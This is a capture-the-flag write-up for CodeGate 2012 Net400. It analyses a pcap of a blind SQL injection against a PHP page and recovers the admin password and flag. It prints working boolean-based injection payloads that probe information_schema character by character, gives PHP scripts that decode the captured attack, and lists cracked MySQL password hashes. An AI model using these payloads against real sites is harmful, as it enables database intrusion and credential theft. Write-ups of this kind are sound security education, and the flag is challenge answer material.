CodeGate 2012 Quals Net400 Write-up

Because of vulnerability of site in Company A, database which contains user’s information was leaked. The file is dumped packet at the moment of attacking.
Find the administrator’s account information which was leaked from the site.
For reference, some parts of the packet was blind to XXXX.

Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))
(‘|’is just a character)

Download : 80924D4296FCBE81EA5F09CF60542AE7

Net400 featured a network packet capture of a blind SQL injection attack with task to extract some info and bruteforce a bit.

Analyzing the attack

The task pcap carries 15 MB of HTTP traffic between two VMs.
All the requests are made to http://www.cdgate.xxx/sc/id_check.php with ?name= get parameter. Here is a couple requests from the beginning.

GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavy HTTP/1.1
Accept-Encoding: identity
Accept-Language: en-us,en;q=0.5
Host: www.cdgate.xxx
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close

HTTP/1.1 200 OK
Date: Wed, 22 Feb 2012 09:03:38 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close
Content-Type: text/html

<br>

$_GET[‘name’] is set to “music’ AND ‘Ohavy’=’Ohavy” and server response is <br>

GET /sc/id_check.php?name=music%27%20AND%20%27Ohavy%27=%27Ohavyy HTTP/1.1
Accept-Encoding: identity
Accept-Language: en-us,en;q=0.5
Host: www.cdgate.xxx
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15)
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Connection: close

HTTP/1.1 200 OK
Date: Wed, 22 Feb 2012 09:03:38 GMT
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4.1 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-2ubuntu4.1
Vary: Accept-Encoding
Content-Length: 0
Connection: close
Content-Type: text/html

$_GET[‘name’] is “music’ AND ‘Ohavy’=’Ohavyy“, server response is empty

It’s an SQL injection, and server prints out <br> when the SQL query returns some rows (when the condition is TRUE), and gives out empty page when zero rows are returned (condition is FALSE).

Let’s look what info we can extract from the packet trace.

Extracting info, bit by bit

First, we need to gather all URLs that are being requested, with corresponding server answers.

Wireshark only extracts HTTP objects that have non-zero length, so let’s not use it. All the HTTP traffic is plain-text, and it lies as it is inside the PCAP. strings utility allows to get rid of all binary trash, and keep only the text that can be later processed.

Now extracting attack info from pcap boils down to plain-text processing. Content-Length http response header field can be used to determine whether the condition was TRUE (length 4) or FALSE (length 0).

Here’s a script for that:

<?php
$f = file_get_contents('strings_out.txt');
preg_match_all('#GET /sc/id_check\.php\?name=(.*?) HTTP/1\.1.+?Content-Length: (\d+)#s', $f, $mt, PREG_SET_ORDER);
foreach ($mt as $m) {
  $query = urldecode($m[1]);
  echo "Query: $query\n";
  $length = $m[2];
  if ($length == 0) {
    echo "Result: FALSE\n";
  } elseif ($length == 4) {
    echo "Result: TRUE\n";
  } else {
    echo "Result: $length\n";
  }
}
?>

Download output.

Attacker extracts info from database using a series of SQL queries. A query consists of 4 parts:

music' AND ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)), CHAR(32))) FROM information_schema.SCHEMATA LIMIT 1, 1), 4, 1)) > 112 AND 'idobQ'='idobQ
  • SQL query
  • Character position
  • ASCII probe

With a series of SQL queries with different ASCII probes a single character can be extracted. Varying Character position, we can get the entire SQL query result char-by-char.

A script that assebles SQL query results bit-by-bit:

<?php
$f = file_get_contents("sql_queries_results.txt");
preg_match_all('#Query: music\' AND ORD\(MID\((.+?), (\d+), \d+\)\) > (\d+) AND \'\w+\'=\'\w+\nResult: (TRUE|FALSE)\n#s', $f, $mt, PREG_SET_ORDER);
 
$datas = array();
 
foreach ($mt as $cm) {
  $query = $cm[1];
  $pos = $cm[2];
  $probe = (int)$cm[3];
  $result = $cm[4];
 
  if (!isset($datas[$query]))
    $datas[$query] = array();
  if (!isset($datas[$query][$pos]))
    $datas[$query][$pos] = array(0 => 0, 1 => 255);
  if ($result == "TRUE") {
    $datas[$query][$pos][0] = $probe + 1;
  } else {
    $datas[$query][$pos][1] = $probe;
  }
}
 
$decoded = array();
 
foreach ($datas as $query => $chars) {
  $str = '';
  foreach ($chars as $char) {
    $str .= chr($char[0]);
  }
  $decoded[$query] = $str;
}
 
print_r($decoded);
?>

Download output.

The flag

Answer : strupr(md5(database_name|table_name|decode(password_of_admin)))

Database name is cdgate:

(IFNULL(CAST(DATABASE() AS CHAR(10000)), CHAR(32))) => cdgate

Table name is member:

(SELECT IFNULL(CAST(TABLE_NAME AS CHAR(10000)), CHAR(32)) FROM information_schema.TABLES WHERE table_schema=CHAR(X,X,X,X,X,X) LIMIT 0, 1) => member

Passwords are hashed using MySQL5 algorithm. Let’s bruteforce:

*300102BEB9E4DABEB8BD60BB9BB6686A6272C787
*1763CA06A6BF4E96A671D674E855043A9C7886B2
*C5404E97FF933A91C48743E0C4063B2774F052DD
*DBA29A581E9689455787B273C91D77F03D7FAD5B
*8E4ADF66627261AC0DE1733F55C7A0B72EC113FB
*FDDA9468184E298A054803261A4753FF4657E889
*0ECBFBFE8116C7612A537E558FB7BE1293576B78
*EEFD19E63FA33259154630DE24A2B17772FAC630:lynco
*6FF638106693EF27772523B0D5C9BFAF4DD292F1
*87A5750BB01F1E52060CF8EC90FB1344B1D413AA:mouse
*DDD9B83818DB7B634C88AD49396F54BD0DE31677:etagcd <==
*3E8563E916A490A13918AF7385B8FF865C221039
*18DF7FA3EE218ACB28E69AF1D643091052A95887
echo strtoupper(md5('cdgate|member|etagcd'));
AB6FCA7FFC88710CFBC37D5DF9A25F3F

Flag is AB6FCA7FFC88710CFBC37D5DF9A25F3F

Leave a Reply

Your email address will not be published.